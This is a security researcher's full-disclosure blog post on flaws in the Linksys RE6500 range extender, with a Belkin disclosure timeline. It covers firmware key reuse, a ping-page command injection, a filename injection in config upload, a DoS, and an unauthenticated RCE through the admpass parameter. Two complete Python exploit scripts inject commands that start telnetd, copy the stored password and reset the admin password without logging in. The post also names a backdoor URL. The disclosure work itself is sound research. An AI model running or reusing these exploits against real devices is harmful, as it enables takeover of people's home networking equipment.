Linksys RE6500 - Unauthenticated RCE: Full Disclosure

Linksys RE6500 is a pretty new range extender build by Linksys, well, more properly by Belkin. An USA product built just a few thousand km east in the "suicide factory" (the Foxconn factory, China)


My goal was to archive a personal need a telnet access, I never expected to come across such a big security hole holes, more properly because between poorly implemented backdoor ( goform/j78G-DFdg_24Mhw3?password= ) and lousy code, in the end I discovered a few security flaws.

tl;dr

li a0, "RCE"
jmp a0

Index

0 - Encrypted Firmware

1 - Code injection into diagnostic (ping webpage)

2 - Code injection in config file upload

3 - Persistent webui DOS potentially exploitable

4 - Unauthenticated RCE

5 - Extra: Download latest beta firmware for any Linksys products



0 - Encrypted Firmware


First of all, the firmware comes out encrypted by using GPG, so to proceed to (decrypt, unpack and) analyze the firmware we needed the public GPG key.
I had set myself the limit to do not physically touch the device, so I took advantage of the configuration of uboot which (looks at ip 192.168.1.100, TFTP ptotocol, for a file named "um_factory_fw.bin") allowing to load a sort of recovery image -which in the case would have been openwrt-
to reach my goal of saving the contents of the mtd partitions. 
I followed this boring idea and only realized afterwards, through the known relases, the presence of a previous unencrypted version of the firmware image, which includes the public GPG key inside.
So the question comes up: does linksys use the same key to encrypt all their firmwares? Yes, they do!!
I can copy and paste the key, but linksys can change the key from here:

1 - Code injection into diagnostic (ping) webpage

When you think about "how to run the telnet daemon", avoiding the physical access, the most obvious thing is a try on the diagnostic page, the usual classic code injection through the ping page, but then you think, "hey, this is a linksys product, does an ex-brand Cisco really fall so low?" YES, they do. 
In fact from the firmware v1.05 up to v1.08 (with a minimal adapting) a nice super easy code injection can be done by injecting a crafted paramenter in a GET request into /goform/langSwitch

#!/usr/bin/env python
#Linksys RE6500 V1.05 - Authenticated command injection Ping page

from requests import Session
import requests
import os
ip="192.168.1.226"
url_codeinjection="http://"+ip+"/goform/systemCommand?pingTestIP=www.google.com&ping_size=32&ping_times=5&command=busybox+telnetd&+"

requestedbody_login="password=0000074200016071000071120003627500015159"

s = requests.Session()

s.headers.update({'Referer': "http://"+ip+"/login.shtml"})
s.post("http://"+ip+"/goform/webLogin",data=requestedbody_login)

s.headers.update({'Referer': "http://"+ip+"/admin/diagnostics.shtml"})

s.get(url_codeinjection)

s.headers.update({'Origin': "http://"+ip})
s.headers.update({'Referer': "http://"+ip+"/admin/startping.shtml"})

s.post("http://"+ip+"/goform/pingstart", data="")

Incredulous I thought "ok, they made something wrong, this can happen".
By the way, the V1.0.11.001  is immune to this code inject.

2 - Code injection in config file upload

I figured out that the config.bin is not actually encrypted but it's just compressed (BZ2).
Digging into the firmware, the upload_settings.cgi page, showed so clearly in front of me, something I had dreaming of doing for years: a file name as a code injection vector.
 


Yes, a touch /tmp/%s without sanitation at all brings us to upload a file named "asd;reboot" to inject code into the router. Very Funny!

At this point I thought, we may be do more than this, get rid the authenticated mode, and look for some unauthenticated RCE.


3 - Persistent webui DOS potentially exploitable

An UNAUTHENTICATED POST request to /goform/langSwitch exposes the device to a permanent segmentation fault with a very long string in the paramenter named langSelectionOnly="IT[.....]TTT" (3894 char) . The device will be soft "bricked", until a physical reset! LOL
This may be exploitable, more investigation needed.




4 - Unauthenticated RCE

Without any authorization checks, the webpage  /goform/setSysAdm execute its own code!
To make matters worse, the admpass parameter can be our attack vector to manipulate the system() call that follows.
local_80 variable is our admpass parameter.




There are different ways to perform a code injection. 
The most comfortable to me was to split the hardcoded command "um_encrypt decrypt admin password %s /tmp/adm_decrypt" executed by doSystem("");* into a multiple -3 -commands by using semicolons: "um_encrypt decrypt admin password ; mycode injected here ; /tmp/adm_decrypt" the first and the last commands go wrong doing nothing, but the middle injected code will be executed correctly leading us to achieve the goal.

By doing this wild injection, we broke the router standard behaviour that will start the telnet daemon, but will not guarantee future access because the user's password tampering.
But, since the vulnerability lies precisely in the password change parameter, which can be used without authentication, we'll use the same webpage to set a new password.

Here is the final POC:

#!/usr/bin/env python
#Linksys RE6500 V1.0.05.003 and newer - Unauthenticated RCE
#Unsanitized user input in the web interface for Linksys WiFi extender RE6500 allows Unauthenticated remote command execution.
#An attacker can access system OS configurations and commands that are not intended for use beyond the web UI.

from requests import Session
import requests
import os
print("Linksys RE6500, RE6500 - Unsanitized user input allows Unauthenticated remote command execution.")
print("Tested on FW V1.05 up to FW v1.0.11.001")
print("RE-Solver @solver_re")
ip="192.168.1.226"

command="nvram_get Password >/tmp/lastpwd"
#save device password;
post_data="admuser=admin&admpass=;"+command+";&admpasshint=61646D696E=&AuthTimeout=600&wirelessMgmt_http=1"
url_codeinjection="http://"+ip+"/goform/setSysAdm"
s = requests.Session()
s.headers.update({'Origin': "http://"+ip})
s.headers.update({'Referer': "http://"+ip+"/login.shtml"})

r= s.post(url_codeinjection, data=post_data)
if r.status_code == 200:
print("[+] Prev password saved in /tmp/lastpwd")

command="busybox telnetd"
#start telnetd;
post_data="admuser=admin&admpass=;"+command+";&admpasshint=61646D696E=&AuthTimeout=600&wirelessMgmt_http=1"
url_codeinjection="http://"+ip+"/goform/setSysAdm"
s = requests.Session()
s.headers.update({'Origin': "http://"+ip})
s.headers.update({'Referer': "http://"+ip+"/login.shtml"})

r=s.post(url_codeinjection, data=post_data)
if r.status_code == 200:
print("[+] Telnet Enabled")

#set admin password
post_data="admuser=admin&admpass=0000074200016071000071120003627500015159&confirmadmpass=admin&admpasshint=61646D696E=&AuthTimeout=600&wirelessMgmt_http=1"
url_codeinjection="http://"+ip+"/goform/setSysAdm"
s = requests.Session()
s.headers.update({'Origin': "http://"+ip})
s.headers.update({'Referer': "http://"+ip+"/login.shtml"})
r=s.post(url_codeinjection, data=post_data)
if r.status_code == 200:
print("[+] Prevent corrupting nvram - set a new password= admin")



 *doSystem(char_t *fmt, ...) prevents from buffer overflow but no input sanitization: More infos here

 

5 - Extra: Download latest beta firmware for any Linksys products.

Change the informations according to the device's firmware you want to grab:
wget --no-check-certificate --no-cache --output-document --header="Content-Type: text/xml" --post-file=/tmp/request.xml --timeout=30 -t 1 https://update1-stage.linksys.com/cds/update -O /tmp/response.xml
request.xml:




en
US
11:22:33:44:55:66
RE6500
1
1




Timeline Disclosure

13/04/2020: Bug reported to Belkin by using the bugcrowd platform.
13/04/2020: Belkin asks if the bug is also present on their latest version.
14/04/2020: I confirm the bug presence also on their latest version.
30/04/2020: Belkin asks for my POC.
30/04/2020: I provide them my POC.
10/07/2020: Belkin authorizes me to public disclosure after their firmware release.


Article Link: https://resolverblog.blogspot.com/2020/07/linksys-re6500-unauthenticated-rce-full.html